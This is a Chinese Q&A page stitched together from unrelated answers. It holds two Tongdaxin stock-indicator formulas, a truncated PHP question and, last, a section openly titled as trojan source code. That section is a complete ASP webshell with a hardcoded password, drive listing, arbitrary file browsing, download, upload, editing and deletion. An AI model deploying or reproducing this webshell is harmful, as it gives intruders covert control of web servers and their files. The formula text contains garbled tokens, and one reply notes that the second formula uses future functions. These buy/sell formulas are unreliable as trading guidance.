ffc源码

❶ 通达信社保入场公式源码

社保入场公式
aa:=winner(c+c*15/100)*100;
bb:=winner(c+c*0/100)*100;
cc:=aa-bb;
dd:=(winner(c-c*0.1/100)-winner(c-c*15/100))*100;
ee:=cc<3 and dd<0.5 and o<>l;
a1:=dynainfo(6);
a2:=if(l>a1,0,if(h<a1,1,(a1-l+0.01)/(h-l+0.01)));
a3:=v/winner(l);
a4:=ref(hhv(c,120),1);
a5:=ref(llv(c,120),1);
a6:=100*(c-a5)/(a4-a5);
a7:=a2>0 or a2=1;
a8:=a7 and a3/ref(a3,3)>=3 and a6<80 ;
a9:=ref(a8,1) or ref(a8,2) or ref(a8,3) or ref(a8,4);
a10:=a8 and a9;
a11:=if(filter(a8,3),5,0);
a12:=if(filter(a10,3) or ee,10,0);
进场:a11;
加仓:a12;
社保机构进场日:stickline(a11,0,5,5,0),colorff7700;
社保机构加仓日:stickline(a12,0,15,5,0),colorff00ff;
stickline(a11,0,5,5,0),colorff7700;
stickline(a11,0,5,4.5,0),colorff8800;
stickline(a11,0,5,4,0),colorff9900;
stickline(a11,0,5,3.5,0),colorffaa00;
stickline(a11,0,5,3,0),colorffbb00;
stickline(a11,0,5,2.5,0),colorffcc00;
stickline(a11,0,5,2,0),colorffdd00;
stickline(a11,0,5,1,0),colorffee00;
stickline(a12,0,15,4.5,0),color102099;
stickline(a12,0,15,4,0),color1020aa;
stickline(a12,0,15,3.5,0),color1020bb;
stickline(a12,0,15,3,0),color1020cc;
stickline(a12,0,15,2.5,0),color1020dd;
stickline(a12,0,15,2,0),color1020ee;
stickline(a12,0,15,1,0),color1020ff;
drawtext(a11,8,'进场'),COLORYELLOW;
drawtext(a12,17,'加仓'),COLORWHITE;

股票公式专家团为你解答，希望能帮到你，祝投资顺利。

❷ 请教php大神，如何提取一个json数据里的某值

需要准备的材料分别是：电脑、php编辑器、浏览器。

1、首先，打开php编辑器，新建php文件，例如：index.php，填充问题基础代码。

❸ 请教高手老师，怎么能把股市提款机中全仓和出击同时选出，或者选出全仓，出击，出货，指标源码，多谢老师

ma20:=MA(CLOSE,20);
ma120:=MA(CLOSE,120);
ma30:=MA(CLOSE,37);
map:=MA(CLOSE,8);
aa5:=MA(CLOSE,21);
aa10:MA(CLOSE,8),color0000ff;
aa12:MA(CLOSE,12),color0000ff;
bb10:=((ATAN((aa10 - REF(aa10,1))) * 3.1416) * 10);
bb12:=((ATAN((aa12 - REF(aa12,1))) * 3.1416) * 10);
ma13:=MA(CLOSE,13);
var1q:=((((OPEN + LOW) + HIGH) + CLOSE) / 4);
中期汪贺扰大底:LLV(LOW,30),colorcdffbb;
短底:=EMA(var1q,5);
支撑:=HHV(短底,60);
压力一:HHV(LOW,20),colorfaabec;
压力:=SMA(LOW,5,1);
中线:=MA(CLOSE,3);
DRAWTEXT(FILTER(((((HIGH > 支撑) AND (CLOSE < 支撑)) AND ((CLOSE / OPEN) > (0 - 1.06))) AND (CLOSE < OPEN)),5),(HIGH + 0.02),'←逃'),color00ffff;
中轨道:=(MA(HIGH,15) * 1.05);
天困旦:=(MA(LOW,15) * 0.985);
人:=(MA(LOW,15) * 0.96);
地:=(((HIGH + LOW) + CLOSE) / 3);
b1:=HHV(地,(4 * 15));
b6:=LLV(地,(4 * 15));
b7:=(b1 - b6);
b8:=(MA(((地 - b6) / b7),2) * 80);
var1:=(((CLOSE - LLV(LOW,100)) / (HHV(HIGH,100) - LLV(LOW,100))) * 200);
飞龙顶底线:=SMA(var1,3,1);
var2:=SMA(飞龙顶底线,3,1);
var3:=((3 * 飞龙顶底线) - (2 * var2));
var4:=LLV(LOW,5);
var5:=HHV(HIGH,5);
var6:=(EMA((((CLOSE - var4) / (var5 - var4)) * 100),4) * 2);
var7:=EMA(((0.667 * REF(var6,1)) + (0.333 * var6)),2);
var8:=((3 * var6) - (2 * var7));
var9:=(POW(MA(CLOSE,5),2) + MA(CLOSE,5));
vara:=(POW(MA(LOW,5),2) + MA(LOW,5));
varb:=(POW(MA(HIGH,5),2) + MA(HIGH,5));
varc:=(((((var9 - LLV(vara,64)) / (HHV(varb,64) - LLV(vara,64))) * 150) + 65) - 10);
vard:=((SMA(varc,3,1) * 1.5) - 100);
vare:=SMA(vard,3,1);
varf:=((3 * vard) - (2 * vare));
var10:=(((HIGH + LOW) + (CLOSE * 2)) / 4);
var11:=EMA(var10,13);
var12:=STD(var10,13);
var13:=(((var10 - var11) * 100) / var12);
var14:=EMA(var13,5);
var15:=EMA(var14,13);
var16:=((EMA(var14,13) + 200) - 100);
var17:=EMA(var16,10);
var18:=((3 * var16) - (2 * var17));
var19:=(((飞龙顶底线拍举 + var6) + vard) + var16);
var1a:=(((var2 + var7) + vare) + var17);
var1b:=(((var3 + var8) + varf) + var18);
var1c:=(((HIGH + LOW) + CLOSE) / 3);
var1d:=((AMOUNT / VOL) / 100);
var1e:=((SUM(AMOUNT,5) / SUM(VOL,5)) / 100);
var1f:=((var1c - MA(var1c,34)) / (0.015 * AVEDEV(var1c,34)));
var20:=DMA(((AMOUNT / VOL) / 100),(VOL / CAPITAL));
var21:=((((HIGH + LOW) + CLOSE) + var1c) / 4);
var22:=EMA(var21,24);
var23:=STD(var21,24);
var24:=(((var21 - var22) / var23) * 100);
var25:=((var1c - MA(var1c,24)) / (0.015 * AVEDEV(var1c,24)));
var26:=EMA(var24,5);
var27:=((var1d - MA(var1d,21)) / (0.015 * AVEDEV(var1d,21)));
var28:=((var1e - MA(var1e,90)) / (0.015 * AVEDEV(var1e,90)));
var29:=(((((((var28 + var27) + var26) + var25) + var1f) / 5) + 165) / 4);
var2a:=(((((var19 + var1a) + (var1b * 30)) / 32) / 5) - 15);
var2b:=(((var29 + var2a) / 2) / 1.1);
var2c:=var2b;
短线:=MA(var2c,26);
mid:=(短线 + (2 * STD(var2c,26)));
upper:=(短线 - (2 * STD(var2c,26)));
lower:=IF((var2c > 短线),短线,var2c);
xy:=MA(CLOSE,5);
ma5:=MA(CLOSE,80);
短期底部:(LLV(HIGH,30) * 0.93),color0000ff;
ma80:=LLV(HIGH,30);
短期底部二:=SMA(CLOSE,2,1);
趋势:=(MA(LOW,10) * 0.96);
趋:=(EMA(OPEN,107) * 0.897);
超跌位二:=MA(CLOSE,15);
gf:=MA(CLOSE,10);
man:=(SMA(HIGH,21,2) * 1.05);
上一:=(HHV(短底,60) * 0.92);
压力二:=(SMA(HIGH,21,2) * 1.035);
阻挡线:=(SMA(LOW,21,2) * 0.96);
下档线:=(((CLOSE - LLV(LOW,13)) / (HHV(HIGH,13) - LLV(LOW,13))) * 100);
rsv:=SMA(下档线,3,1);
k:=SMA(rsv,3,1);
d:=((3 * rsv) - (2 * k));
j:=(((CLOSE - MA(CLOSE,6)) / MA(CLOSE,6)) * 100);
var2p:=(((CLOSE - MA(CLOSE,12)) / MA(CLOSE,12)) * 100);
var3p:=(((CLOSE - MA(CLOSE,24)) / MA(CLOSE,24)) * 100);
var4p:=(((j + (2 * var2p)) + (3 * var3p)) / 6);
var5p:=MA(var4p,3);
var6p:=(((CLOSE - LLV(LOW,34)) / (HHV(HIGH,34) - LLV(LOW,34))) * 100);
rsv12:=SMA(var6p,3,1);
k12:=SMA(rsv12,3,1);
d12:=((3 * rsv12) - (2 * k12));
j12:=(((CLOSE - LLV(LOW,55)) / (HHV(HIGH,55) - LLV(LOW,55))) * 100);
rsv24:=SMA(j12,3,1);
k24:=SMA(rsv24,3,1);
d24:=((3 * rsv24) - (2 * k24));
{j24:=IF(CROSS(d,d24),LOW,REF(LOW,BARSLAST(CROSS(d,d24))));}
压力位:IF(CROSS(d24,d),HIGH,L),POINTDOT,colorffffff;
支撑位:=IF((CLOSE >= MA(CLOSE,20)),80,50);
u2l:=IF((CLOSE >= MA(CLOSE,20)),50,20);
{l2l:=IF(((d < 支撑位) AND (REF(d,1) >= 支撑位)),HHV(REF(HIGH,1),(BARSLAST(((d >= 支撑位) AND (REF(d,1) < 支撑位))) - 1)),REF(HHV(REF(HIGH,1),(BARSLAST(((d >= 支撑位) AND (REF(d,1) < 支撑位))) - 1)),BARSLAST(((d < 支撑位) AND REF(d,1)))));
rh1:=IF((HIGH > l2l),LOW,REF(LOW,BARSLAST((HIGH > l2l))));
rh4:=IF((HIGH > l2l),d,REF(d,BARSLAST((HIGH > l2l))));
rh42:=IF((((HIGH > rh1) AND (d < rh4)) AND (d < d24)),HIGH,REF(HIGH,BARSLAST((((HIGH > rh1) AND (d < rh4)) AND (d < d24)))));
rh5:=IF(((d > u2l) AND (REF(d,1) <= u2l)),LLV(REF(LOW,1),(BARSLAST(((d <= u2l) AND (REF(d,1) > u2l))) - 1)),REF(LLV(REF(LOW,1),(BARSLAST(((d <= u2l) AND (REF(d,1) > u2l))) - 1)),BARSLAST(((d > u2l) AND REF(d,1)))));
rl1:=IF((LOW < rh5),HIGH,REF(HIGH,BARSLAST((LOW < rh5))));
rl4:=IF((LOW < rh5),d,REF(d,BARSLAST((LOW < rh5))));
rl42:=IF((((LOW < rl1) AND (d > rl4)) AND (d > d24)),LOW,REF(LOW,BARSLAST((((LOW < rl1) AND (d > rl4)) AND (d > d24)))));}
长期底部:LLV(HIGH,30),color00ff00;
{DRAWTEXT(FILTER(((((rl42 = j24) AND (CLOSE > OPEN)) AND (CLOSE > 长期底部)) AND (LOW <= j24)),20),(LOW - 0.12),'←底成'),color0eabff;}
rl5:=(SMA(HIGH,5,2) * 1.05);
上:=(SMA(LOW,5,2) * 0.96);
下:=SMA(LOW,2,1);
中:=(((((3 * CLOSE) + HIGH) + LOW) + OPEN) / 6);
x1:=EMA(中,10);
x2:=REF(x1,1);
x3:=((REF(HIGH,1) + REF(LOW,1)) / 2);
x4:=(MA(CLOSE,21) + (2 * STD(CLOSE,21)));
x5:=REF(CLOSE,1);
x6:=((SMA(MAX((CLOSE - x5),0),7,1) / SMA(ABS((CLOSE - x5)),7,1)) * 100);
x7:=CROSS(79,x6);
x8:=FILTER(x7,4);
x9:=MA(CLOSE,115);
var1m:=EMA(CLOSE,8);
飞龙顶底线一:=EMA(var1m,20);
var2m:=CROSS(var1m,飞龙顶底线一);
var3m:=(var1m < MA(CLOSE,20));
var4m:=(((HHV(HIGH,36) - CLOSE) / (HHV(HIGH,36) - LLV(LOW,36))) * 100);
var5m:=SMA(var4m,5,1);
var6m:=SMA(var5m,8,1);
var7m:=(CROSS(var5m,var6m) AND (var6m < 5));
var8m:=((CLOSE > (LLV(CLOSE,60) + (0.3 * LLV(CLOSE,60)))) AND var7m);
var9m:=IF((CLOSE > 1000),var7m,var8m);
varfm:=CROSS(x1,x2);
ma115:=varfm;
低买:=(var2m AND var3m);
黑马起步:=var9m;
DRAWTEXT(x8,(HIGH * 1.03),'←出货'),color9000f5;
DRAWTEXT((黑马起步 > 0),(HIGH * 1.04),'←逃命'),color0000ff;
逃遁:=(SMA(HIGH,21,2) * 1.05);
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,9,0),colorff5b00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,8,0),colorff6c00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,7,0),colorff7b00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,6,0),colorff9c00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,5,0),colorffbe00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,3.5,0),colorffcc00;
STICKLINE((OPEN >= CLOSE),CLOSE,OPEN,1.5,0),colorffff00;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,9,0),color070084;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,8,0),color0000a3;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,7,0),color0000b7;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,6,0),color0000cd;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,5,0),color0000e9;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,3,0),color0754e9;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,1.5,0),color076ef3;
STICKLINE((CLOSE >= OPEN),CLOSE,OPEN,1,0),color077bf3;
STICKLINE((CLOSE > OPEN),OPEN,LOW,1,0),color0726ca;
STICKLINE((CLOSE > OPEN),CLOSE,HIGH,1,0),color0726ca;
STICKLINE((OPEN > CLOSE),CLOSE,LOW,1,0),colorde9100;
STICKLINE((OPEN > CLOSE),OPEN,HIGH,1,0),colorde9100;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),CLOSE,OPEN,9,0),color0090ff;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),CLOSE,OPEN,8,0),color009fff;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),CLOSE,OPEN,4,0),color00b5ff;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),CLOSE,OPEN,2,0),color00e4ff;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),OPEN,LOW,0.7,0),color00ffff;
STICKLINE(((((CLOSE / OPEN) > 1.04) AND (CLOSE < 逃遁)) AND ((CLOSE - REF(CLOSE,1)) > 0)),CLOSE,HIGH,0.7,0),color00ffff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),OPEN,LOW,0.7,0),colorff76ff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),CLOSE,HIGH,0.7,0),colorff76ff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),CLOSE,OPEN,9,0),colorff00ff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),CLOSE,OPEN,6,0),colorff62ff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),CLOSE,OPEN,4,0),colorff76ff;
STICKLINE(((((CLOSE < REF(CLOSE,1)) AND (CLOSE < REF(CLOSE,1))) AND (HIGH > 逃遁)) AND (CLOSE < 逃遁)),CLOSE,OPEN,2,0),colorffa8ff;

网上搜的是这个指标么
公式较复杂里面含有未来函数不建议使用

❹ 木马程序源码

一个asp木马：
＜%@ LANGUAGE = VBScript.Encode codepage ="936" %＞
＜%Server.ScriptTimeOut=5000%＞
＜object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"＞＜/object＞
＜object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"＞＜/object＞
＜object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"＞＜/object＞
＜%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function

Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function

Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上传程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes＜1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read

iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) ＜ iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) ＞ 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub

Private Sub Class_Terminate
if Request.TotalBytes＞0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub

Private function GetFilePath(FullPath)
If FullPath ＜＞ "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function

Private function GetFileName(FullPath)
If FullPath ＜＞ "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class

Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub

Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %＞
＜html＞
＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜meta name="GENERATOR" content="Microsoft FrontPage 3.0"＞
＜/head＞

＜body＞
＜%if request.form("password")＜＞"" then
response.write "Password Error!"
end if
%＞

＜table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0"＞
＜tr＞
＜td width="100%" height="31" bgcolor="#000080"＞＜p align="center"＞＜font color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="100%" height="46"＞＜form method="POST" action="＜%=rseb%＞?q=＜%=rseb%＞"＞
＜div align="center"＞＜center＞＜p＞Enter Password：＜input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"＞
＜input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"＞＜/p＞
＜/center＞＜/div＞
＜/form＞
＜/td＞
＜/tr＞
＜/table＞
＜/body＞
＜/html＞
＜%end if%＞

＜%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("＜h1＞Error:＜/h1＞" & strFilename & " does not exist＜p＞")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("＜h1＞Error: ＜/h1＞" & err.Description & "＜p＞")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%＞
＜%case "list.asp"%＞
＜%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"＜a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'＞＜font color='#FF8000'＞■＜/font＞↑＜font color='ff2222'＞回上级目录＜/font＞＜/a＞＜br＞＜script language=vbscript＞"
For Each x In theSubFolders
%＞so "＜%=lpath%＞","＜%=x.Name%＞","＜%=request("path")%＞","＜%=attrib%＞"
＜%
Next
%＞＜/script＞＜%
end if
End Sub

Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"＜table border='0' width='100%' cellpadding='0'＞＜script language=vbscript＞"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%＞sf "＜%=showstring%＞","＜%=x.size%＞","＜%=x.type%＞","＜%=x.Attributes%＞","＜%=x.DateLastModified%＞","＜%=lpath%＞","＜%=x.name%＞","＜%=attrib%＞","＜%=x.name%＞"
＜%
Next
end if
Response.write"＜/script＞＜/table＞"
End Sub
%＞
＜html＞

＜head＞
＜meta http-equiv="Content-Type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜style type="text/css"＞
＜!--
table{ font-family: 宋体; font-size: 9pt }
a{ font-family: 宋体; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋体; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
--＞
＜/style＞
＜/head＞
＜script language="javaScript"＞
function crfile(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("＜%=rseb%＞?q=edit.asp&attrib=＜%=request("attrib")%＞&creat=yes&path=＜%=lpath%＞"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("请输入文件名!");}
else {window.open("＜%=rseb%＞?q=edir.asp&attrib=＜%=request("attrib")%＞&op=creat&path=＜%=lpath%＞"+ls);}
return false;
}
＜/script＞
＜script language="vbscript"＞
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "＜tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""＞＜td width='50%'＞＜font color='#FF8000'＞＜font face=Wingdings＞+＜/font＞＜/font＞＜a href='"& urlpath & lpath & xName &"' target='_blank'＞＜strong＞" & showstring & "＜/strong＞＜/a＞＜/td＞＜td width='20%' align='right'＞" & size & "字节＜/td＞＜td width='30%'＞＜a href='#' title='类型：" & type1 & chr(10) & "属性：" & Attributes & chr(10) & "时间：" & DateLastModified &"'＞属性＜/a＞ ＜a href='＜%=rseb%＞?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞编辑＜/a＞ ＜a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞ ＜a href='#' onclick=file('" & lpath & Name & "')＞＜font color='#FF8000' ＞＜/font＞复制＜/a＞ ＜a href='＜%=rseb%＞?q=down.asp&path=＜%=cpath%＞\"&xName&"&attrib=" & attrib &"' target='_blank' ＞＜font color='#FF8000' ＞＜/font＞下载＜/a＞＜/td＞＜/tr＞"
end sub
sub so(lpath,xName,path,attrib)
document.write "＜a href='＜%=rseb%＞?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'＞└＜font color='#FF8000'＞＜font face=Wingdings＞1＜/font＞＜/font＞ " & xName &"＜/a＞ ＜a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞＜br＞"
end sub

sub rmdir1(ls)
if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为："&ls) then
window.open("＜%=rseb%＞?q=edit.asp&path=" & ls & "&op=del&attrib=＜%=request("attrib")%＞")
end if
end sub

sub rmdir(ls)
if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then
window.open("＜%=rseb%＞?q=edir.asp&path="&ls&"&op=del&attrib=＜%=request("attrib")%＞")
end if
end sub

sub file(sfile)
dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件："& sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")
dfile=trim(dfile)
attrib="＜%=request("attrib")%＞"
if dfile＜＞"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib＜＞"true" then
alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]"
exit sub
end if
else
lp="＜%=lpath%＞"
end if
window.open("＜%=rseb%＞?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您没有输入文件名！"
end If
end sub
＜/script＞
＜body＞
＜table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0"＞
＜tr＞
＜td width="755" bgcolor="#000080" colspan="2" height="23"＞＜p align="center"＞＜font size="3"
color="#FFFFFF"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※换盘：＜span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"＞＜%
For Each thing in oFileSys.Drives
Response.write "＜font face=Wingdings＞:＜/font＞＜a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'＞"&thing.DriveLetter&":＜/a＞"
NEXT
%＞ ＜/span＞ 地址：
＜%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※＜%
if Request("attrib")="true" then
response.write "＜a href='" & rseb & "?q=list.asp'＞切到相对路径＜/a＞"
else
response.write "＜a href='" & rseb & "?attrib=true&q=list.asp'＞切到绝对路径＜/a＞"
end if
%＞ ※绝对:＜span
style="background-color: rgb(255,255,255)"＞＜%=cpath%＞＜/span＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#C0C0C0" colspan="2"＞※当前＜font color="#FF8000"＞＜font face=Wingdings＞1＜/font＞＜/font＞:＜span style="background-color: rgb(255,255,255)"＞＜%=lpath%＞＜/span＞ ＜/td＞
＜/tr＞＜form name="form1" method="post" action="＜%=rseb%＞?q=upfile.asp" target="_blank" enctype="multipart/form-data"＞
＜tr＞＜td bgcolor="#C0C0C0" colspan="2" style="height: 20px"＞

编辑|
＜input class="tx1" type="text" name="filename" size="20"＞
＜input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)"＞
